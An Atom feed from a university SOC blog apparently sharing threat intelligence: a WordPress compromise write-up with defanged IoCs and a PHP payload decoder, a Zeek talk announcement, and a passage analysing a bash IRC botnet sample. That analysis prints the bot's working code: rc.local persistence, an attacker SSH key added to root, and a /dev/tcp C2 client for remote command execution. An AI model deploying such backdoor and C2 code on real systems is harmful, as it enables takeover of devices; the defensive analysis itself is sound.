<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://cybercloud.upb.ro/blog</id>
    <title>CyberCloud Blog</title>
    <updated>2026-02-25T00:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://cybercloud.upb.ro/blog"/>
    <subtitle>CyberCloud Blog</subtitle>
    <icon>https://cybercloud.upb.ro/img/cybercloud_favicon.png</icon>
    <entry>
        <title type="html"><![CDATA[WordPress attack, this time with more IoCs]]></title>
        <id>https://cybercloud.upb.ro/blog/wordpress-adware</id>
        <link href="https://cybercloud.upb.ro/blog/wordpress-adware"/>
        <updated>2026-02-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Investigations on a compromised WordPress instance]]></summary>
        <content type="html"><![CDATA[<p>Yup, that’s us. Probably you are wondering how we ended up with another WordPress instance to analyze (and another WordPress-related blog post). WordPress seems to be heaven for attackers: many plugins, many themes, many things that can be attacked.</p>
<p><a href="https://www.wordfence.com/threat-intel/" target="_blank" rel="noopener noreferrer" class="">Wordfence</a> has really nice dashboards
you can check out and see what’s the trend in terms of WordPress
vulnerabilities. Usually, the vulnerabilities are split into three categories:
<a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core" target="_blank" rel="noopener noreferrer" class="">WordPress core</a> (less
than a dozen per year), <a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins" target="_blank" rel="noopener noreferrer" class="">WordPress
plugins</a>
and <a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/" target="_blank" rel="noopener noreferrer" class="">WordPress themes</a>. Only
in the <a href="https://www.wordfence.com/threat-intel/vulnerabilities/search?search=&amp;cwe_type=-&amp;cvss_rating=-&amp;date_month=1&amp;date_year=2026" target="_blank" rel="noopener noreferrer" class="">first month of 2026</a>
there were more than 900 new WordPress related CVEs, of which around 30 are
marked as CRITICAL.</p>
<p>Yet, besides all these vulnerabilities, one of the biggest issues is user’s leaked credentials. You can have the most wonderful, updated
and secure WordPress instance, but one tiny simple user (or worse, admin)
password can tear down the whole castle.</p>
<p>Now, let’s go back to our investigation.
It’s a not-so-long story that goes way back to last summer. Bear
with me, we’ll get to the juicy stuff in a bit.</p>
<p>The signs were there: a vulnerability assessment done in November 2025 revealed that the site seems to
have been compromised since July 2025. Following the procedures, we announced
the site administrators and asked them to remediate their website. Since the
website is not in our administration, the procedure is to allow the site admins
some time to clean up their infrastructure.  We hoped for the best (and did not
expect the worst).</p>
<p>Things went south in December 2025 when we observed a high
amount of traffic generated for a particular website, many of them looking very
similar: POST requests to <code>xmlrpc.php</code>. Excluding the <code>xmlrpc.php</code> ones, the
rest were either generic bots scans (that were inoffensive) or weird-looking
paths (a chain of many directories) that generated a <code>200</code> HTTP response.</p>
<p>So, with hot chocolate mugs to warm our souls and jingle bells in the background in
an enchanting Christmas scenery, we started to dig deeper into this website (the
IR teams don't take a break during … the winter break, right?).</p>
<p>About that, let’s break down our investigation and our findings in 5 small sections</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="1--xmlrcpphp-was-used-for-exploitation-to-add-malicious-files-and-users">1.  <code>xmlrcp.php</code> was used for exploitation to add malicious files and users<a href="https://cybercloud.upb.ro/blog/wordpress-adware#1--xmlrcpphp-was-used-for-exploitation-to-add-malicious-files-and-users" class="hash-link" aria-label="Direct link to 1--xmlrcpphp-was-used-for-exploitation-to-add-malicious-files-and-users" title="Direct link to 1--xmlrcpphp-was-used-for-exploitation-to-add-malicious-files-and-users" translate="no">​</a></h2>
<p>In the specific dates with malware traces, there were a lot of requests made to
<code>xmlrpc.php</code>, from IP addresses mostly originated from Singapore (more than 50%,
as seen in the picture below), from 2 IPs (<code>172[.]104[.]171[.]15</code> and
<code>146[.]190[.]96[.]250</code>) and US, mainly another 2 IPs (<code>138[.]197[.]31[.]38</code>,
<code>159[.]203[.]135[.]193</code>). This makes up almost all the traffic seen in the last
90 days to <code>xmlprc.php</code>, about 70.000 requests. Almost all requests (99.92%) got
a <code>200</code> response, and even though it doesn’t specifically mean all were doing
something nasty, the calls to xmlrpc are likely how the malicious files/users
got into the system.</p>
<img src="https://cybercloud.upb.ro/assets/images/wordpress-xmrpc-f7935378160e14f70e08a1f64a1f7457.png">
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-remote-execution-files">2. Remote execution files<a href="https://cybercloud.upb.ro/blog/wordpress-adware#2-remote-execution-files" class="hash-link" aria-label="Direct link to 2. Remote execution files" title="Direct link to 2. Remote execution files" translate="no">​</a></h2>
<p>Some obfuscated php files (that attempt remote code execution) were dropped on
the website, likely using some of the xmlrpc requests mentioned above. The files
are placed in the <code>well-known</code> directory (under a very long path of
directories), and contain small snippets of PHP code, followed by binary data.
By decoding the PHP code we determined that it was used to decode the rest of
the data. We can decode the data ourselves using the following code:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">$code = file_get_contents("infected.php");</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">$payload = substr($code, -13687);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">$payload = str_replace(["nuyxmaflij","voawzxubmi"], ["&lt;","&gt;"], $payload);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">echo gzuncompress($payload);</span><br></div></code></pre></div></div>
<p>This gives us another obfuscated file, following the same pattern: PHP code that
does <code>base64_decode(rot13(the rest of the file))</code>. After decoding that, we have
the initialization of an array with random bytes, then some more complex
decoding, followed by <code>eval(eval(eval(...(decoded payload)))))</code>.</p>
<p>This is clearly some sort of remote code execution, and likely how the rest of the
attack happened.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-symbolic-links-for-attempted-data-exposure">3. Symbolic links for attempted data exposure<a href="https://cybercloud.upb.ro/blog/wordpress-adware#3-symbolic-links-for-attempted-data-exposure" class="hash-link" aria-label="Direct link to 3. Symbolic links for attempted data exposure" title="Direct link to 3. Symbolic links for attempted data exposure" translate="no">​</a></h2>
<p>Along with the RCE files, also in the <code>well-known</code> directory, there are a lot of
symbolic links to files outside the hosting sandbox. The targeted files are
mainly <code>.env</code> files, configuration files, etc.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">9-WordPress-web.txt -&gt; /var/mail/web/wp-config.php</span><br></div></code></pre></div></div>
<p>There were almost 37,000 links present, trying to link to files in <code>/bin</code>,
<code>/usr</code>, <code>/var</code>, etc.  There were no successful requests made to these files in
the last 90 days of the investigation.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-adding-a-new-admin-user">4. Adding a new admin user<a href="https://cybercloud.upb.ro/blog/wordpress-adware#4-adding-a-new-admin-user" class="hash-link" aria-label="Direct link to 4. Adding a new admin user" title="Direct link to 4. Adding a new admin user" translate="no">​</a></h2>
<p>Upon inspecting the database, we noticed that a new admin user was created. This
is particularly weird because the timestamp and the password hash are not using
the WordPress hashing format, so there is no way this user was created
legitimately via the WordPress API. Most likely, it was added via a direct SQL
call using the PHP RCE above.  There are no registered logins for the user in
the <code>wp_login</code> table, but since the attackers had access to the database, they
could have very easily cleaned their traces.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-injected-adware-in-all-the-php-files-served-to-the-user">5. Injected adware in all the php files served to the user<a href="https://cybercloud.upb.ro/blog/wordpress-adware#5-injected-adware-in-all-the-php-files-served-to-the-user" class="hash-link" aria-label="Direct link to 5. Injected adware in all the php files served to the user" title="Direct link to 5. Injected adware in all the php files served to the user" translate="no">​</a></h2>
<p>Inside almost all PHP files, there was a <code>&lt;script&gt;</code> part injected at the end of
the file which contained obfuscated JavaScript code. The script was also
injected in <code>.js</code> files that were included by the php files, so likely all the
relevant pages were infected.</p>
<p>The JavaScript code was obfuscated using
<a href="https://obfuscator.io/" target="_blank" rel="noopener noreferrer" class="">https://obfuscator.io/</a> , so it was easy to deobfuscate
using <a href="https://obf-io.deobfuscate.io/" target="_blank" rel="noopener noreferrer" class="">https://obf-io.deobfuscate.io</a> .</p>
<p>The code first checked <code>navigator.userAgent</code>, <code>navigator.vendor</code>, and <code>window.opera</code> to see if it was
running on a mobile phone. If it was, it hijacked user clicks using
<code>document.addEventListener("click", handler)</code>; and every 2 minutes, at a click,
it opened one of 10 hardcoded <code>shorturl</code> links</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">const _0xe6f43 = ["hXXps://urshort[.]com/BEZ0c70",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/PSQ1c21",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/VxY2c02",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/MtN3c13",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/GEh4c14",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/HSf5c55",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/JRp6c56",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/sFh7c87",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/pHm8c98",</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">           "hXXps://urshort[.]com/GAv9c59"];</span><br></div></code></pre></div></div>
<p>None of the urls are still active, but this looks like an adware.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusions">Conclusions<a href="https://cybercloud.upb.ro/blog/wordpress-adware#conclusions" class="hash-link" aria-label="Direct link to Conclusions" title="Direct link to Conclusions" translate="no">​</a></h2>
<p>The moral of the story? The website was blocked. Even though the analysis showed
that the URLs were not active, that does not mean everything is alright.</p>
<p>Pretty, pretty please, <a href="https://wordpress.com/support/security/" target="_blank" rel="noopener noreferrer" class="">keep your WordPress instance updated, safe and secure</a>. Or how the song says: call us when
they break your website next summer, we will be waiting here.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/wordpress-adware#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
        <category label="WordPress" term="WordPress"/>
        <category label="adware" term="adware"/>
        <category label="obfuscated PHP code" term="obfuscated PHP code"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Malicious network activity detection with Zeek]]></title>
        <id>https://cybercloud.upb.ro/blog/soccare-zeek-ti</id>
        <link href="https://cybercloud.upb.ro/blog/soccare-zeek-ti"/>
        <updated>2026-02-13T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Detecting network level threats using Zeek]]></summary>
        <content type="html"><![CDATA[<p>Join us Monday, the 23rd of February, for "Malicious network activity detection with Zeek".
The presentation will show you how we use <a href="https://zeek.org/" target="_blank" rel="noopener noreferrer" class="">Zeek</a>, an open-source tool, to monitor the network activity of the sites that are publicly exposed to the Internet.
We will show the infrastructure we deployed and the integrations we have made for Zeek to detect malicious traffic.</p>
<p>As threat intelligence sources, we use <a href="https://www.misp-project.org/" target="_blank" rel="noopener noreferrer" class="">MISP</a>, <a href="https://iplists.firehol.org/" target="_blank" rel="noopener noreferrer" class="">FireHOL</a> and some in-house developed scripts.</p>
<p>Don't miss out, we have juicy threat intelligence stuff as well (but only for your eyes)! Register on <a href="https://indico.upb.ro/event/6/" target="_blank" rel="noopener noreferrer" class="">indico.upb.ro</a> and we'll send you an invite!</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/soccare-zeek-ti#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[IRC Bots Still Lurking Around]]></title>
        <id>https://cybercloud.upb.ro/blog/irc-bot-analysis</id>
        <link href="https://cybercloud.upb.ro/blog/irc-bot-analysis"/>
        <updated>2025-11-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Analysis of a bash‑based IRC bot captured in a honeypot]]></summary>
        <content type="html"><![CDATA[<p>Some adversaries never get bored of the same, old techniques. This month, we caught in our honeypot a self-spreading Linux malware targeting Raspberry Pi devices.</p>
<p>The script we investigated is a bash-based IRC bot that self-propagates by abusing weak or default SSH passwords. Once enrolled in the botnet, the infected victim awaits for base64 encoded commands signed with the adversary RSA key, effectively enabling authenticated remote command execution over IRC. What makes this incident interesting is not the complexity of the attack - quite the opposite. It highlights how low‑effort techniques still succeed in the wild, especially poorly configured IoT systems.</p>
<p>In the following sections, we break down the malware's behavior along with code snippets showing the bot’s decision logic and propagation technique.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="technical-overview">Technical overview<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#technical-overview" class="hash-link" aria-label="Direct link to Technical overview" title="Direct link to Technical overview" translate="no">​</a></h2>
<p>From the honeypot we recovered a malicious <code>bash</code> script with the following main sections that will be later described with details:</p>
<ol>
<li class="">Persistence &amp; privilege escalation</li>
<li class="">Environment preparation</li>
<li class="">Remote Execution IRC client</li>
<li class="">Self Propagation</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="persistence--privilege-escalation">Persistence &amp; privilege escalation<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#persistence--privilege-escalation" class="hash-link" aria-label="Direct link to Persistence &amp; privilege escalation" title="Direct link to Persistence &amp; privilege escalation" translate="no">​</a></h3>
<p>After successfully connected to the honeypot and dropping the malware, the bot search for persistence and privilege escalation. The first thing the bot does is to copy itself in <code>/opt</code> and tamper with <code>/etc/rc.local</code> to be executed at every system startup, if connected as a non-root user.</p>
<p>Note: The comments below were added by us for clarification purposes. They don't exist in the original malware sample.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain"># Check if the script is NOT running as root</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">if [ "$EUID" -ne 0 ]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Copy the malware script to /opt using a random name</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	NEWMYSELF=`mktemp -u 'XXXXXXXX'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sudo cp $MYSELF /opt/$NEWMYSELF</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Overwrite /etc/rc.local to ensure the malware runs at every boot</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # rc.local is executed as root during system startup</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sudo sh -c "echo '#!/bin/sh -e' &gt; /etc/rc.local"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sudo sh -c "echo /opt/$NEWMYSELF &gt;&gt; /etc/rc.local"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sudo sh -c "echo 'exit 0' &gt;&gt; /etc/rc.local"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sleep 1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Reboot the system to gain persistence and  privilege escalation</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sudo reboot</span><br></div></code></pre></div></div>
<p>This is not the case for the honeypot session because the adversary is already logged as <code>root</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="environment-preparation">Environment preparation<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#environment-preparation" class="hash-link" aria-label="Direct link to Environment preparation" title="Direct link to Environment preparation" translate="no">​</a></h3>
<p>Before joining the C2 channel, the script performs an aggressive environment sanitization. This malware is very territorial ensuring that any other competing bot or miner is cleaned from the victim. This approach will guarantee the adversary has exclusive control over the system resources and network bandwidth.</p>
<p>To achieve this, the script begins by killing a wide range of processes associated with other botnets and cryptominers:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">killall bins.sh</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall minerd</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall node</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall nodejs</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-armv4l</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-i586</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-m68k</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-mips</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-mipsel</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-powerpc</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-sh4</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall ktx-sparc</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall arm5</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall zmap</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall kaiten</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">killall perl</span><br></div></code></pre></div></div>
<p>The malware also cuts access to other competitor infrastructure by tampering with the <code>/etc/hosts</code> file:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">echo "127.0.0.1 bins[.]deutschland-zahlung[.]eu" &gt;&gt; /etc/hosts</span><br></div></code></pre></div></div>
<p>Once the environment is cleared, the malware establishes lasting access for itself. It starts by changing the password of the <code>pi</code> user:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi</span><br></div></code></pre></div></div>
<p>Next, it installs an SSH public key directly into the root <code>authorized_keys</code> file, giving the adversary passwordless access:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  &gt;&gt; /root/.ssh/authorized_keys</span><br></div></code></pre></div></div>
<p>Finally, it deploys the public RSA key used later for validating IRC C2 messages, which will enable authenticated remote command execution:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">cat &gt; /tmp/public.pem &lt;&lt;EOFMARKER</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">-----BEGIN PUBLIC KEY-----</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">WRq+Z8HYMvPlgSRA3wIDAQAB</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">-----END PUBLIC KEY-----</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">EOFMARKER</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="remote-execution-irc-client">Remote execution IRC client<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#remote-execution-irc-client" class="hash-link" aria-label="Direct link to Remote execution IRC client" title="Direct link to Remote execution IRC client" translate="no">​</a></h3>
<p>The juicy part of the malware is the IRC client that acts as a remote command‑execution backdoor by connecting to a dedicated IRC channel and listening for commands. The main <code>bash</code> script dynamically generates the IRC client code in a new file in <code>/tmp/$BOT</code>. Below is a sample script with comments to describe the bot behavior:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">#!/bin/bash</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># Generate a unique bot nickname based on (MD5) hashing of the system info</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NICK=a${SYS:24}</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">while [ true ]; do</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # List of public Undernet IRC servers (defanged)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[0]="ix1[.]undernet[.]org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[1]="ix2[.]undernet[.]org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[2]="Ashburn[.]Va[.]Us[.]UnderNet[.]org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[3]="Bucharest[.]RO[.]EU[.]UnderNet[.]Org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[4]="Budapest[.]HU[.]EU[.]UnderNet[.]org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    arr[5]="Chicago[.]IL[.]US[.]UnderNet[.]org"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Choose a random IRC server</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	rand=$[$RANDOM % 6]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	svr=${arr[$rand]}</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Create a TCP connection to port 6667 (IRC) using `/dev/tcp`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # This is textbook Living-off-the-land technique to create a tcp connection instead of using `netcat`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	eval 'exec 3&lt;&gt;/dev/tcp/$svr/6667;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			continue</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Send an IRC nickname command</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	eval 'printf "NICK $NICK\r\n" &gt;&amp;3;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			continue</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Send an IRC USER command (minimal login)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	eval 'printf "USER user 8 * :IRC hi\r\n" &gt;&amp;3;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		continue</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Main loop</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	while [ true ]; do</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        # Read incoming server messages</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		eval "read msg_in &lt;&amp;3;"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			break</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        # Resolve incoming PING messages</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		if  [[ "$msg_in" =~ "PING" ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Respond with PONG messages</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			printf "PONG %s\n" "${msg_in:5}";</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			eval 'printf "PONG %s\r\n" "${msg_in:5}" &gt;&amp;3;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				break</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			sleep 1</span><br></div><div class="token-line" 